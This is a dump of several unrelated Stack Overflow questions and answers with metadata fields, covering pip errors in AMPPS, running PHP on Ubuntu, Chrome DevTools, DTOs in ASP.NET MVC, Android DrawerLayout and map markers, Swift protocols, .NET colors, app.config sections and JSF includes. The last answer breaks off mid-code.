<pre><code>Fatal error in launcher: Unable to create process using '"'
</code></pre>
<p>I already reinstalled ampps into a path which doesn't include any whitespaces. Note that the "python -m pip" workaround doesn't work for me too, since i get the following message everytime i use it:</p>
<pre><code>C:\Users\MyUserName\Desktop\Ampps\python\python.exe: Error while finding spec for 'pip.__main__' (<class 'ImportError'>: No module named 'queue'); 'pip' is a package and cannot be directly executed
</code></pre>
<p>How do i get pip to work properly? I hope, there is a way to use the pip command itself without the preceding python command.</p>
<p>EDIT: This is what happens, if i try to run <code>python -c "import pip.__main__"</code>:</p>
<pre><code>Traceback (most recent call last):
File "C:\Users\MyUserName\Desktop\Ampps\python\lib\site-packages\pip\compat\__init__.py", line 11, in <module>
from logging.config import dictConfig as logging_dictConfig
File "C:\Users\MyUserName\Desktop\Ampps\python\lib\logging\config.py", line 30, in <module>
import logging.handlers
File "C:\Users\MyUserName\Desktop\Ampps\python\lib\logging\handlers.py", line 28, in <module>
import queue
ImportError: No module named 'queue'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "C:\Users\MyUserName\Desktop\Ampps\python\lib\site-packages\pip\__init__.py", line 13, in <module>
from pip.utils import get_installed_distributions, get_prog
File "C:\Users\MyUserName\Desktop\Ampps\python\lib\site-packages\pip\utils\__init__.py", line 18, in <module>
from pip.compat import console_to_str, stdlib_pkgs
File "C:\Users\MyUserName\Desktop\Ampps\python\lib\site-packages\pip\compat\__init__.py", line 13, in <module>
from pip.compat.dictconfig import dictConfig as logging_dictConfig
File "C:\Users\MyUserName\Desktop\Ampps\python\lib\site-packages\pip\compat\dictconfig.py", line 22, in <module>
import logging.handlers
File "C:\Users\MyUserName\Desktop\Ampps\python\lib\logging\handlers.py", line 28, in <module>
import queue
ImportError: No module named 'queue'
</code></pre> | 37,228,413 | 37 | 7 | null | 2016-05-13 22:09:49.273 UTC | 42 | 2022-08-26 23:52:40.423 UTC | 2016-05-14 08:39:20.837 UTC | null | 6,312,338 | null | 6,312,338 | null | 1 | 152 | python|windows|python-3.x|pip|ampps | 461,328 | <p>I fixed my issue by...</p>
<ol>
<li>downloading Python 3 at the official website and installing it via express installation</li>
<li>Copy & Paste the standalone python into the ampps/python folder and overwriting the python version provided by AMPPS</li>
<li>running <code>python -m pip install --upgrade pip</code> in cmd</li>
</ol>
<p>Now pip and python 3 are installed in their latest version.</p>
<p>It seems that AMPPS doesnt't provide a full-fledged python build. So you need to update python yourself.</p>
<p>Thanks to y'all.</p> |
37,541,718 | How to run a PHP file from ubuntu? | <p>How to run a php file from ubuntu platform in the localhost?
I have also installed LAMP in my system.
When I try to run the php file, in the browser, it says "The requested URL is not found-404 ERROR found".
I do not know how to proceed with this.
My php files are in the directory as shown here "/usr/var/html/a.php".</p> | 37,541,961 | 2 | 9 | null | 2016-05-31 09:22:11.643 UTC | null | 2019-08-03 15:47:01.207 UTC | null | null | null | null | 6,127,021 | null | 1 | 9 | php | 59,541 | <p>There are two options.</p>
<ol>
<li><p>Access the php file through a local webserver(ie thru a local website). The web-server will deal with the requested php file. It will use either,</p>
<ul>
<li>Inbuilt PHP module to interpret the php file, or</li>
<li><p>PHP through CGI (eg.CGI, FastCGI)
<br>
<br>
If your apache(check if apache is running using <code>service apache2 status</code>!!) is set to the default configuration, this could be as simple as <br></p>
<pre><code>http://localhost/path/to/your.php
</code></pre>
<p>Remember by default, the base directory for apache is <code>/var/www/html/</code>, so you need not include this in the url.</p></li>
</ul></li>
<li><p>Use the php binary directly from a terminal.</p>
<pre><code> php /path/to/your/file.php
</code></pre></li>
</ol> |
16,752,622 | Chrome Developer Tools: Best resource for learning advanced features? | <p>I casually use Chrome developer tools for debugging AJAX & JavaScript. Mostly that means the console to check on element/variable/method state, occasionally 'network' tab to debug issues fed through ajax, very occasionally break points in debugger if I can't hunt down a JS bug.</p>
<p>But any time a dedicated front-end developer (I'm back end) uses the same tools in front of me, they use these nifty & abstract little features that always leave me thinking "damn, why didn't I know about that"?</p>
<p>...So, the question is: Any suggestions for resources that provide a thorough & more advanced explanation of google chrome devtools?</p> | 16,752,638 | 3 | 0 | null | 2013-05-25 18:21:39.86 UTC | 23 | 2015-04-17 03:22:21.477 UTC | null | null | null | null | 346,977 | null | 1 | 16 | javascript|google-chrome-devtools | 5,683 | <p>Addy Osmani did an excellent series on the chrome dev tools, <a href="http://addyosmani.com/blog/tag/devtools/" rel="noreferrer">you can find some of it here</a>. I think that if you read it (and watch the videos), I've found them very useful, if you read them, you're pretty much covered. I included some additional useful resources.</p>
<p><strong>Addy Osmani Tutorials and videos:</strong></p>
<ul>
<li><a href="http://addyosmani.com/blog/taming-the-unicorn-easing-javascript-memory-profiling-in-devtools/" rel="noreferrer">Easy memory profiling using the chrome dev tools</a></li>
<li><a href="http://addyosmani.com/blog/devtools-visually-re-engineering-css-for-faster-paint-times/" rel="noreferrer">Visually re-engineering css for faster paint times</a></li>
<li><a href="http://www.youtube.com/watch?v=ktwJ-EDiZoU" rel="noreferrer">The Breakpoint - Chrome dev tools </a> (Youtube video)</li>
<li><a href="http://www.youtube.com/watch?v=PPXeWjWp-8Y" rel="noreferrer">The Breakpoint Ep2 </a> (Youtube video with Paul Irish)</li>
<li><a href="http://www.youtube.com/watch?v=HijZNR6kc9A" rel="noreferrer">The Breakpoint Ep3 </a> (Youtube video, source maps)</li>
<li><a href="http://code.tutsplus.com/courses/chrome-developer-tools" rel="noreferrer">Chrome devtools course by TutsPlus</a> (subscription required)</li>
</ul>
<p><strong>Official</strong>:</p>
<ul>
<li><a href="https://developers.google.com/chrome-developer-tools/" rel="noreferrer">Developer tools official guide</a> by Google</li>
<li><a href="https://developers.google.com/chrome-developer-tools/docs/videos#google_io_2012" rel="noreferrer">Google video tutorials on the developer tools</a> by Google</li>
<li><a href="https://developers.google.com/chrome-developer-tools/docs/cpu-profiling" rel="noreferrer">Profiling JavaScript</a> by Google</li>
</ul>
<p><strong>Other:</strong></p>
<ul>
<li><a href="http://net.tutsplus.com/tutorials/tools-and-tips/chrome-dev-tools-markup-and-style/" rel="noreferrer">Nettuts series</a> , fairly basic but nicely put.</li>
<li><a href="http://www.paulirish.com/2011/a-re-introduction-to-the-chrome-developer-tools/" rel="noreferrer">A re-introduction to the dev tools</a> by Paul Irish</li>
<li><a href="http://coding.smashingmagazine.com/2012/06/12/javascript-profiling-chrome-developer-tools/" rel="noreferrer">Smashing Magazine also did an article on profiling</a>, but it's fairly basic compared to the Addy Osmani stuff.</li>
</ul> |
16,866,102 | Using DTO to transfer data between service layer and UI layer | <p>I've been trying to figure this out for days but there seems to be very little info on this particular subject with ASP.NET MVC. I've been Googling around for days and haven't really been able to figure anything out about this particular issue.</p>
<p>I've got a 3 layer project. Business, DAL and UI/Web layer. In the DAL is dbcontext, repository and unit of work. In the business layer is a domain layer with all the interfaces and the EF models. In the business layer there is also a service layer with DTOs for the EF models and a generic repository service that accesses the repository. <a href="http://lh5.ggpht.com/_XHclJS9Jxg0/TKzwre5rfbI/AAAAAAAAALA/VoTXLxXS5pY/s1600-h/Drawing1%5B4%5D.jpg" rel="noreferrer">This</a> picture should help explain it.</p>
<p>My problem is that i just can't seem to figure out how to use the DTOs to transfer data from the business layer.</p>
<p>I've created service classes for the DTOs. I've got a ImageDTO and model and same for image anchors. I've created a service class for each DTO. So i've got a image service and anchor service. These services inherit the repository service and at the moment implement their own services. But thats about as far as i have gotten. Since these services have constructors that receive a IUnitOfWork interface via IoC i've pretty much gotten stranded.</p>
<p>If i reference the service directly from the UI everything works as it should but i just can't get my mind around how to use DTOs to transmit data both from the service layer to the UI layer and the other way around.</p>
<p>My service layer: </p>
<p>Business/Services/DTOs</p>
<pre><code>public class AnchorDto
{
public int Id { get; set; }
public int x1 { get; set; }
public int y1 { get; set; }
public int x2 { get; set; }
public int y2 { get; set; }
public string description { get; set; }
public int imageId { get; set; }
public int targetImageId { get; set; }
public AnchorDto(int Id, int x1, int y1, int x2, int y2, string description, int imageId, int targetImageId)
{
// Just mapping input to the DTO
}
}
public class ImageDto
{
public int Id { get; set; }
public string name { get; set; }
public string title { get; set; }
public string description { get; set; }
public virtual IList<AnchorDto> anchors { get; set; }
public ImageDto(int Id, string name, string title, string description, IList<AnchorDto> anchors )
{
// Just mapping input to DTO
}
}
</code></pre>
<p>Business/Services/Services</p>
<pre><code>public class RepoService<TEntity> : IRepoService<TEntity> where TEntity : class
{
private IRepository<TEntity> repo;
public RepoService(IUnitOfWork repo)
{
this.repo = repo.GetRepository<TEntity>();
}
public IEnumerable<TEntity> Get(
Expression<Func<TEntity, bool>> filter = null,
Func<IQueryable<TEntity>, IOrderedQueryable<TEntity>> orderBy = null,
string includeProperties = "")
{
return repo.Get(filter, orderBy, includeProperties);
}
public TEntity GetByID(object id)
{
return repo.GetByID(id);
}
public void Insert(TEntity entity)
{
repo.Insert(entity);
}
public void Delete(object id)
{
repo.Delete(id);
}
public void Delete(TEntity entityToDelete)
{
repo.Delete(entityToDelete);
}
public void Update(TEntity entityToUpdate)
{
repo.Update(entityToUpdate);
}
}
</code></pre>
<p>The Image Service, the IImageService interface is currently empty until i figure out what i need to implement.</p>
<pre><code>public class ImageService : RepoService<ImageModel>, IImageService
{
public ImageService(IUnitOfWork repo)
: base(repo)
{
}
}
</code></pre>
<p>At the moment my controllers aren't really working and aren't using the service layer so i decided not to include any of those. I plan to map the DTOs to ViewModels using auto mapper once i've sorted this issue out.</p>
<p>So now, please anyone knowledgeable enough to give me that idea I'm missing so that i can figure this out?</p> | 16,872,129 | 1 | 0 | null | 2013-05-31 21:14:38.48 UTC | 19 | 2017-04-20 21:34:29.793 UTC | null | null | null | null | 1,470,747 | null | 1 | 17 | asp.net-mvc|repository|dto|unit-of-work|n-tier-architecture | 18,637 | <p>Your service should receive DTOs, map them to business entities and send them to the repository. It should also retrieve business entities from the repository, map them to DTOs and return the DTOs as reponses. So your business entities never get out from the business layer, only the DTOs do.</p>
<p>Then your UI\Weblayer should be unaware of the business entities. The web layer should only know about the DTOs. To enforce this rule is very important that <strong>your UI layer does not uses the service implementation classes (which should be private), just the interfaces. And the service interfaces shouldn´t depend on the business entities, just the DTOs.</strong></p>
<p>So you need service interfaces based on DTOs, and your base service class needs another generic argument for the DTO. I like to have a base class for entities and DTOs so they can be declared as:</p>
<pre><code>//Your UI\presentation layer will work with the interfaces (The inheriting ones)
//so it is very important that there is no dependency
//on the business entities in the interface, just on the DTOs!
protected interface IRepoService<TDto>
where TDto: DTOBase
{
//I'm just adding a couple of methods but you get the idea
TDto GetByID(object id);
void Update(TDto entityToUpdateDto)
}
//This is the interface that will be used by your UI layer
public IImageService: IRepoService<ImageDTO>
{
}
//This class and the ones inheriting should never be used by your
//presentation\UI layer because they depend on the business entities!
//(And it is a best practice to depend on interfaces, anyway)
protected abstract class RepoService<TEntity, TDto> : IRepoService<TDto>
where TEntity : EntityBase
where TDto: DTOBase
{
...
}
//This class should never be used by your service layer.
//Your UI layer should always use IImageService
//You could have a different namespace like Service.Implementation and make sure
//it is not included by your UI layer
public class ImageService : RepoService<ImageModel, ImageDto>, IImageService
{
...
}
</code></pre>
<p>You then need a way of adding the mapping between entities and DTO to that base service without actually implementing the mapping (as it depends on each concrete entity and DTO classes). You could declare abstract methods that perform the mapping and will need to be implemented on each specific service (like <code>ImageService</code>). The implemantion of the base RepoService would look like:</p>
<pre><code>public TDto GetByID(object id)
{
//I'm writing it this way so its clear what the method is doing
var entity = repo.GetByID(id);
var dto = this.EntityToDto(entity);
return dto;
}
public void Update(TDto entityToUpdateDto)
{
var entity = this.DtoToEntity(entityToUpdateDto)
repo.Update(entity);
}
//These methods will need to be implemented by every service like ImageService
protected abstract TEntity DtoToEntity(TDto dto);
protected abstract TDto EntityToDto(TEntity entity);
</code></pre>
<p>Or you could declare mapping services, adding a dependency with an appropiated mapping service that should be provided by your IOC (This makes more sense if you need the same mapping on different services). The implementation of RepoService would look like:</p>
<pre><code>private IRepository<TEntity> _repo;
private IDtoMappingService<TEntity, TDto> _mappingService;
public RepoService(IUnitOfWork repo, IDtoMappingService<TEntity, TDto> mapping)
{
_repo = repo.GetRepository<TEntity>();
_mappingService = mapping;
}
public TDto GetByID(object id)
{
//I'm writing it this way so its clear what the method is doing
var entity = repo.GetByID(id);
var dto = _mappingService.EntityToDto(entity);
return dto;
}
public void Update(TDto entityToUpdateDto)
{
var entity = _mappingService.DtoToEntity(entityToUpdateDto)
repo.Update(entity);
}
//You will need to create implementations of this interface for each
//TEntity-TDto combination
//Then include them in your dependency injection configuration
public interface IDtoMappingService<TEntity, TDto>
where TEntity : EntityBase
where TDto: DTOBase
{
public TEntity DtoToEntity(TDto dto);
public TDto EntityToDto(TEntity entity);
}
</code></pre>
<p>In both cases (abstract methods or mapping services), you can implement the mapping between the entities and DTOs manually or using a tool like <a href="http://automapper.codeplex.com/" rel="noreferrer">Automapper</a>. But you should be very careful when using the AutoMapper and entity framework, although that is another topic! (Google a bit about that and collect some information on the topic. As a first advice pay attention to the queries being executed against the database when loading data so you don´t load more than needed or send many queries. When saving data pay attention to your collections and relationships)</p>
<p>Long post maybe, but I hope it helps!</p> |
16,738,595 | Is it possible to use something other than a listview as sliding drawer in drawerlayout | <p>I would like to have for example a <code>LinearLayout</code> or a <code>RelativeLayout</code> sliding from the left of the screen instead of a lone <code>ListView</code>.</p>
<p>I tried to use à <code>LinearLayout</code> with <code>android:layout_gravity="start"</code> and i had this error at runtime:</p>
<pre><code>ClassCastException: android.widget.LinearLayout$LayoutParams cannot
be cast to android.support.v4.widget.DrawerLayout$LayoutParams
</code></pre>
<p>here's the layout file:</p>
<pre><code><android.support.v4.widget.DrawerLayout
xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/drawer_layout"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@android:color/white"
>
<FrameLayout
android:id="@+id/content_frame"
android:layout_width="match_parent"
android:layout_height="match_parent" />
<LinearLayout
android:layout_width="320dp"
android:layout_height="match_parent"
android:layout_gravity="start"
android:orientation="vertical">
<ImageView
android:id="@+id/ivwLogo"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:src="@drawable/video_icon"
/>
<ListView
android:id="@+id/left_drawer"
android:layout_width="320dp"
android:layout_height="match_parent"
android:choiceMode="singleChoice"
android:divider="@android:color/transparent"
android:dividerHeight="0dp"
android:background="@android:color/white"
/>
</LinearLayout>
</android.support.v4.widget.DrawerLayout>
</code></pre>
<p>Thanks</p> | 16,738,896 | 4 | 2 | null | 2013-05-24 15:30:39.73 UTC | 13 | 2015-09-24 16:57:41.74 UTC | 2013-12-11 13:22:02.997 UTC | null | 1,012,284 | null | 1,058,369 | null | 1 | 34 | android|drawerlayout | 23,978 | <p>Yes it is possible to have any view as the sliding part of a drawer layout. I prefer declaring a FrameLayout as the drawer and replacing it with my fragment, and it runs just fine.</p>
<p>The error you are getting is probably due to some other reason in the Java part of your implementation.</p> |
16,853,182 | Android, How to remove all markers from Google Map V2? | <p>I have map view in my fragment. I need to refresh map and add different markers based on condition. So, I should remove last markers from map before add new markers.</p>
<p>Actually, some weeks ago app was working fine and suddenly it happened. My code is like this:</p>
<pre><code>private void displayData(final List<Venue> venueList) {
// Removes all markers, overlays, and polylines from the map.
googleMap.clear();
.
.
.
}
</code></pre>
<p>Last time it was working fine (before new Google Map API announce by Android team in I/O 2013). However, after that I adapted my code to use this new API. Now, I don't know why this method <code>googleMap.clear();</code> doesn't work! </p>
<p>Any suggestion would be appreciated. Thanks</p>
<p>=======</p>
<p><strong>Update</strong></p>
<p>=======</p>
<p>Complete code:</p>
<pre><code>private void displayData(final List<Venue> venueList) {
// Removes all markers, overlays, and polylines from the map.
googleMap.clear();
// Zoom in, animating the camera.
googleMap.animateCamera(CameraUpdateFactory.zoomTo(ZOOM_LEVEL), 2000, null);
// Add marker of user's position
MarkerOptions userIndicator = new MarkerOptions()
.position(new LatLng(lat, lng))
.title("You are here")
.snippet("lat:" + lat + ", lng:" + lng);
googleMap.addMarker(userIndicator);
// Add marker of venue if there is any
if(venueList != null) {
for(int i=0; i < venueList.size(); i++) {
Venue venue = venueList.get(i);
String guys = venue.getMaleCount();
String girls= venue.getFemaleCount();
String checkinStatus = venue.getCan_checkin();
if(checkinStatus.equalsIgnoreCase("true"))
checkinStatus = "Checked In - ";
else
checkinStatus = "";
MarkerOptions markerOptions = new MarkerOptions()
.position(new LatLng(Double.parseDouble(venue.getLatitude()), Double.parseDouble(venue.getLongitude())))
.title(venue.getName())
.snippet(checkinStatus + "Guys:" + guys + " and Girls:" + girls)
.icon(BitmapDescriptorFactory.fromResource(R.drawable.ic_orange_pin));
googleMap.addMarker(markerOptions);
}
}
// Move the camera instantly to where lat and lng shows.
if(lat != 0 && lng != 0)
googleMap.moveCamera(CameraUpdateFactory.newLatLngZoom(new LatLng(lat, lng), ZOOM_LEVEL));
googleMap.setInfoWindowAdapter(new GoogleMap.InfoWindowAdapter() {
@Override
public View getInfoWindow(Marker marker) {
return null;
}
@Override
public View getInfoContents(Marker marker) {
return null;
}
});
googleMap.setOnInfoWindowClickListener(new GoogleMap.OnInfoWindowClickListener() {
@Override
public void onInfoWindowClick(Marker marker) {
String str = marker.getId();
Log.i(TAG, "Marker id: " + str);
str = str.substring(1);
int markerId = Integer.parseInt(str);
markerId -= 1; // Because first item id of marker is 1 while list starts at 0
Log.i(TAG, "Marker id " + markerId + " clicked.");
// Ignore if User's marker clicked
if(markerId < 0)
return;
try {
Venue venue = venueList.get(markerId);
if(venue.getCan_checkin().equalsIgnoreCase("true")) {
Fragment fragment = VenueFragment.newInstance(venue);
if(fragment != null)
changeFragmentLister.OnReplaceFragment(fragment);
else
Log.e(TAG, "Error! venue shouldn't be null");
}
} catch(NumberFormatException e) {
e.printStackTrace();
} catch(IndexOutOfBoundsException e) {
e.printStackTrace();
}
}
});
</code></pre> | 16,871,246 | 5 | 3 | null | 2013-05-31 08:37:57.073 UTC | 7 | 2020-06-24 18:21:16.437 UTC | 2014-01-31 16:58:08.087 UTC | null | 881,229 | null | 513,413 | null | 1 | 49 | android|google-maps|google-maps-markers|android-mapview | 75,211 | <p>Okay finally I found a replacement way to solve my problem. The interesting problem is when you assign a marker to map, it's id is 'm0'. When you remove it from map and assign new marker you expect the id should be 'm0' but it's 'm1'. Therefore, it showed me the id is not trustable. So I defined <code>List<Marker> markerList = new ArrayList<Marker>();</code> somewhere in <code>onActivityCreated()</code> of my fragment.</p>
<p>Then changed above code with following one. hope it helps others if they have similar issue with markers.</p>
<pre><code>private void displayData(final List<Venue> venueList) {
Marker marker;
// Removes all markers, overlays, and polylines from the map.
googleMap.clear();
markerList.clear();
// Zoom in, animating the camera.
googleMap.animateCamera(CameraUpdateFactory.zoomTo(ZOOM_LEVEL), 2000, null);
// Add marker of user's position
MarkerOptions userIndicator = new MarkerOptions()
.position(new LatLng(lat, lng))
.title("You are here")
.snippet("lat:" + lat + ", lng:" + lng);
marker = googleMap.addMarker(userIndicator);
// Log.e(TAG, "Marker id '" + marker.getId() + "' added to list.");
markerList.add(marker);
// Add marker of venue if there is any
if(venueList != null) {
for (Venue venue : venueList) {
String guys = venue.getMaleCount();
String girls = venue.getFemaleCount();
String checkinStatus = venue.getCan_checkin();
if (checkinStatus.equalsIgnoreCase("true"))
checkinStatus = "Checked In - ";
else
checkinStatus = "";
MarkerOptions markerOptions = new MarkerOptions()
.position(new LatLng(Double.parseDouble(venue.getLatitude()), Double.parseDouble(venue.getLongitude())))
.title(venue.getName())
.snippet(checkinStatus + "Guys:" + guys + " and Girls:" + girls)
.icon(BitmapDescriptorFactory.fromResource(R.drawable.ic_orange_pin));
marker = googleMap.addMarker(markerOptions);
// Log.e(TAG, "Marker id '" + marker.getId() + "' added to list.");
markerList.add(marker);
}
}
// Move the camera instantly to where lat and lng shows.
if(lat != 0 && lng != 0)
googleMap.moveCamera(CameraUpdateFactory.newLatLngZoom(new LatLng(lat, lng), ZOOM_LEVEL));
googleMap.setInfoWindowAdapter(new GoogleMap.InfoWindowAdapter() {
@Override
public View getInfoWindow(Marker marker) {
return null;
}
@Override
public View getInfoContents(Marker marker) {
return null;
}
});
googleMap.setOnInfoWindowClickListener(new GoogleMap.OnInfoWindowClickListener() {
@Override
public void onInfoWindowClick(Marker marker) {
int markerId = -1;
String str = marker.getId();
Log.i(TAG, "Marker id: " + str);
for(int i=0; i<markerList.size(); i++) {
markerId = i;
Marker m = markerList.get(i);
if(m.getId().equals(marker.getId()))
break;
}
markerId -= 1; // Because first item of markerList is user's marker
Log.i(TAG, "Marker id " + markerId + " clicked.");
// Ignore if User's marker clicked
if(markerId < 0)
return;
try {
Venue venue = venueList.get(markerId);
if(venue.getCan_checkin().equalsIgnoreCase("true")) {
Fragment fragment = VenueFragment.newInstance(venue);
if(fragment != null)
changeFragmentLister.OnReplaceFragment(fragment);
else
Log.e(TAG, "Error! venue shouldn't be null");
}
} catch(NumberFormatException e) {
e.printStackTrace();
} catch(IndexOutOfBoundsException e) {
e.printStackTrace();
} catch (NullPointerException e) {
e.printStackTrace();
}
}
});
}
</code></pre> |
25,767,156 | Swift: Property conforming to a specific class and in the same time to multiple protocols | <p>In Objective-C, it's possible to write something like that:</p>
<pre><code>@property(retain) UIView<Protocol1, Protocol2, ...> *myView;
</code></pre>
<p>But how can I write this code in swift?</p>
<p>I already know how to make a property conform to many protocols, but it does not work by using the inheritance:</p>
<pre><code>var myView: ??? protocol<Protocol1, Protocol2, ...>
</code></pre>
<p><strong>Edit:</strong></p>
<p>I use many <code>UIView</code> subtypes like <code>UIImageView</code>, <code>UILabel</code> or others, and I need to use some of the <code>UIView</code> properties plus some methods defined in the protocols. In the worst case I could create a <code>UIViewProtocol</code> with the needed properties, but I would know if it is possible in Swift to declare a property/variable with a type and some protocol to conform with.</p> | 25,771,265 | 3 | 6 | null | 2014-09-10 13:47:46.677 UTC | 10 | 2017-09-21 13:21:24.48 UTC | 2016-10-26 09:53:00.147 UTC | null | 691,409 | null | 261,062 | null | 1 | 31 | swift|protocols | 6,667 | <p>You can do this with a generic class using a <a href="https://developer.apple.com/library/prerelease/mac/documentation/Swift/Conceptual/Swift_Programming_Language/Generics.html#//apple_ref/doc/uid/TP40014097-CH26-XID_292" rel="noreferrer">where clause</a>:</p>
<blockquote>
<p>A where clause enables you to require that an associated type conforms
to a certain protocol, and/or that certain type parameters and
associated types be the same.</p>
</blockquote>
<p>To use it, make the class your property is defined in a generic class with a <a href="https://developer.apple.com/library/prerelease/ios/documentation/Swift/Conceptual/Swift_Programming_Language/Generics.html#//apple_ref/doc/uid/TP40014097-CH26-XID_286" rel="noreferrer">type constraint</a> to check if the <a href="https://developer.apple.com/library/prerelease/ios/documentation/Swift/Conceptual/Swift_Programming_Language/Generics.html#//apple_ref/doc/uid/TP40014097-CH26-XID_280" rel="noreferrer">type parameter</a> for your property matches your desired base class and protocols.</p>
<p>For your specific example, it could look something like this:</p>
<pre><code>class MyViewController<T where T: UIView, T: Protocol1, T: Protocol2>: UIViewController {
var myView: T
// ...
}
</code></pre> |
4,556,559 | Is there an online example of all the colours in System.Drawing.Color? | <p>Can anyone point me to a reference chart that has swatches of all the colours that are represented in System.Drawing.Color?</p> | 49,774,087 | 2 | 8 | null | 2010-12-29 18:06:52.933 UTC | 6 | 2020-05-13 12:31:44.507 UTC | 2010-12-29 18:26:27.003 UTC | null | 770 | null | 770 | null | 1 | 37 | c#|user-interface|system.drawing.color | 39,651 | <p><a href="https://docs.microsoft.com/en-us/dotnet/api/system.windows.media.brushes" rel="noreferrer">From here:</a></p>
<blockquote>
<p>The following image shows the color of each predefined brush, its
name, and its hexadecimal value.</p>
</blockquote>
<p>May as well have the details right here on SO:</p>
<p><a href="https://i.stack.imgur.com/lsuz4.png" rel="noreferrer"><img src="https://i.stack.imgur.com/lsuz4.png" alt="enter image description here"></a></p> |
4,670,669 | How do you use sections in c# 4.0 app.config? | <p>I want to use my app config to store the settings for 2 companys, and i'd prefer if it was possible to use a section to seperate the data for one from the other rather then giving them diffrent key names.</p>
<p>I have been checking online but i seem to get a bit overwhelmed when people use sections or find outdated easy ways to use them. could anyone pass me a beginner guide on them?</p>
<p>Below is an example of what my app.config would look like:</p>
<pre><code> <configSections>
<section name="FBI" type="" />
<section name="FSCS" type="" />
</configSections>
<FSCS>
<add key="processingDirectory" value="C:\testfiles\ProccesFolder"/>
</FSCS>
<FBI>
<add key="processingDirectory" value="C:\testfiles\ProccesFolder"/>
</FBI>
</code></pre>
<p>Update:</p>
<p>Advanced solution based on the anwer. in case anyone wanted to know.</p>
<p>App.config:</p>
<pre><code><configuration>
<configSections>
<sectionGroup name="FileCheckerConfigGroup">
<section name="FBI" type="System.Configuration.NameValueSectionHandler" />
<section name="FSCS" type="System.Configuration.NameValueSectionHandler" />
</sectionGroup>
</configSections>
<FileCheckerConfigGroup>
<FSCS>
<add key="processingDirectory" value="C:\testfiles\ProccesFolder"/>
</FSCS>
<FBI>
<add key="processingDirectory" value="C:\testfiles\ProccesFolder"/>
</FBI>
</FileCheckerConfigGroup>
</configuration>
</code></pre>
<p>Code:</p>
<pre><code>// Get the application configuration file.
System.Configuration.Configuration config = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None);
// Get the collection of the section groups.
ConfigurationSectionGroupCollection sectionGroups = config.SectionGroups;
foreach (ConfigurationSectionGroup sectionGroup in sectionGroups)
{
if (sectionGroup.Name == "FileCheckerConfigGroup")
{
foreach (ConfigurationSection configurationSection in sectionGroup.Sections)
{
var section = ConfigurationManager.GetSection(configurationSection.SectionInformation.SectionName) as NameValueCollection;
inputDirectory = section["inputDirectory"]; //"C:\\testfiles";
}
}
}
</code></pre> | 4,670,723 | 2 | 2 | null | 2011-01-12 15:40:23.643 UTC | 26 | 2017-07-27 11:25:38.17 UTC | 2017-07-27 11:25:38.17 UTC | null | 6,925,692 | null | 465,651 | null | 1 | 62 | c#|.net|configuration|app-config|configurationsection | 82,555 | <pre><code><configSections>
<section name="FBI" type="System.Configuration.NameValueSectionHandler" />
<section name="FSCS" type="System.Configuration.NameValueSectionHandler" />
</configSections>
<FSCS>
<add key="processingDirectory" value="C:\testfiles\ProccesFolder"/>
</FSCS>
<FBI>
<add key="processingDirectory" value="C:\testfiles\ProccesFolder"/>
</FBI>
</code></pre>
<p>And then:</p>
<pre><code>var section = ConfigurationManager.GetSection("FSCS") as NameValueCollection;
var value = section["processingDirectory"];
</code></pre> |
4,792,862 | How to include another XHTML in XHTML using JSF 2.0 Facelets? | <p>What is the most correct way to include another XHTML page in an XHTML page? I have been trying different ways, none of them are working.</p> | 4,793,959 | 2 | 0 | null | 2011-01-25 11:19:42.633 UTC | 146 | 2016-12-27 16:03:04.187 UTC | 2011-04-13 11:53:18.29 UTC | null | 157,882 | null | 582,862 | null | 1 | 230 | jsf|xhtml|include|jsf-2|facelets | 284,462 | <h2><code><ui:include></code></h2>
<p>Most basic way is <a href="https://docs.oracle.com/javaee/7/javaserver-faces-2-2/vdldocs-facelets/ui/include.html" rel="noreferrer"><code><ui:include></code></a>. The included content must be placed inside <a href="https://docs.oracle.com/javaee/7/javaserver-faces-2-2/vdldocs-facelets/ui/composition.html" rel="noreferrer"><code><ui:composition></code></a>.</p>
<p>Kickoff example of the master page <code>/page.xhtml</code>:</p>
<pre><code><!DOCTYPE html>
<html lang="en"
xmlns="http://www.w3.org/1999/xhtml"
xmlns:f="http://xmlns.jcp.org/jsf/core"
xmlns:h="http://xmlns.jcp.org/jsf/html"
xmlns:ui="http://xmlns.jcp.org/jsf/facelets">
<h:head>
<title>Include demo</title>
</h:head>
<h:body>
<h1>Master page</h1>
<p>Master page blah blah lorem ipsum</p>
<ui:include src="/WEB-INF/include.xhtml" />
</h:body>
</html>
</code></pre>
<p>The include page <code>/WEB-INF/include.xhtml</code> (yes, this is the file in its entirety, any tags outside <code><ui:composition></code> are unnecessary as they are ignored by Facelets anyway):</p>
<pre><code><ui:composition
xmlns="http://www.w3.org/1999/xhtml"
xmlns:f="http://xmlns.jcp.org/jsf/core"
xmlns:h="http://xmlns.jcp.org/jsf/html"
xmlns:ui="http://xmlns.jcp.org/jsf/facelets">
<h2>Include page</h2>
<p>Include page blah blah lorem ipsum</p>
</ui:composition>
</code></pre>
<p>This needs to be opened by <code>/page.xhtml</code>. Do note that you don't need to repeat <code><html></code>, <code><h:head></code> and <code><h:body></code> inside the include file as that would otherwise result in <a href="http://validator.w3.org" rel="noreferrer">invalid HTML</a>.</p>
<p>You can use a dynamic EL expression in <code><ui:include src></code>. See also <a href="https://stackoverflow.com/questions/7108668/how-to-ajax-refresh-dynamic-include-content-by-navigation-menu-jsf-spa">How to ajax-refresh dynamic include content by navigation menu? (JSF SPA)</a>.</p>
<hr />
<h2><code><ui:define></code>/<code><ui:insert></code></h2>
<p>A more advanced way of including is <em>templating</em>. This includes basically the other way round. The master template page should use <a href="https://docs.oracle.com/javaee/7/javaserver-faces-2-2/vdldocs-facelets/ui/insert.html" rel="noreferrer"><code><ui:insert></code></a> to declare places to insert defined template content. The template client page which is using the master template page should use <a href="https://docs.oracle.com/javaee/7/javaserver-faces-2-2/vdldocs-facelets/ui/define.html" rel="noreferrer"><code><ui:define></code></a> to define the template content which is to be inserted.</p>
<p>Master template page <code>/WEB-INF/template.xhtml</code> (as a design hint: the header, menu and footer can in turn even be <code><ui:include></code> files):</p>
<pre><code><!DOCTYPE html>
<html lang="en"
xmlns="http://www.w3.org/1999/xhtml"
xmlns:f="http://xmlns.jcp.org/jsf/core"
xmlns:h="http://xmlns.jcp.org/jsf/html"
xmlns:ui="http://xmlns.jcp.org/jsf/facelets">
<h:head>
<title><ui:insert name="title">Default title</ui:insert></title>
</h:head>
<h:body>
<div id="header">Header</div>
